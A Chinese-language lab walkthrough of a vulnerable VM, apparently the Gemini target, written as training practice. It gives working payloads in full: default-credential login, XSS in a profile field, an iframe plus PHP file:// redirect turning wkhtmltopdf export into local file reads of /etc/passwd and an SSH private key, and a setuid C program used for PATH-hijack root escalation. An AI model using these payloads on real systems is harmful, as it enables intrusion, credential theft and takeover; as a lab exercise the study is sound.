前言
这是打靶训练的第21周,难度高,靶机下载
信息搜集
nmap扫描结果
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.25
打开首页,发现是用开源的github搭建的
在install.php,第149行,找到默认用户名:admin,密码:1234
登录成功后,编辑admin的数据,尝试在名称进行xss
确实存在xss漏洞
wkhtmltopdf
只有一个xss没有任何的用处,继续挖掘,点击actions中的Export profile按钮
查看pdf文件属性,在应用栏有个wkhtmltopdf
wkhtmltopdf
是一个将html转成pdf的工具,尝试搜索是否有exp,找到了一篇SSRF-to-LFI。文章作者详细写了如何利用wkhtmltopdf
的xss再到文件包含漏洞。
根据作者的描述进行复现,先在kali上开启apache服务。将<?php header('location:file://'.$_REQUEST['url']); ?>
内容写入进a.php
在名称栏处,再次构造xss poc,<iframe height="2000" width="800" src="http://10.16.122.17/a.php?url=/etc/passwd"></iframe>
成功复现,从/etc/passwd
,得出存在gemini1
用户
查看是否存在id_rsa
,poc:<iframe height="2000" width="800" src="http://10.16.122.17/a.php?url=/home/gemini1/.ssh/id_rsa"></iframe>
来到kali,将上面的私钥内容写进id_rsa
。chmod 400 id_rsa
后,直接免密登录ssh -i id_rsa gemini1@10.16.122.39
提权
尝试使用sudo命令,需要输入密码。那就用find命令,来查看下find / -user root -type f -perm -u+sx -ls 2>/dev/null
可以使用pkexec提权
第二种方法,仔细观察有一个从未见过的listinfo
命令,使用后
功能跟查看网卡差不多,继续查看strings /usr/bin/listinfo
可看到核心就是调用了这三条命令,只有date
命令没有写出绝对路径,使用环境变量劫持提权
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
int main()
{
setuid(0);
setgid(0);
system("/bin/bash");
}
将上面代码保存为date.c后
gcc date.c -o date # 编译date.c
export PATH=/home/gemini1:$PATH # 添加环境变量
listinfo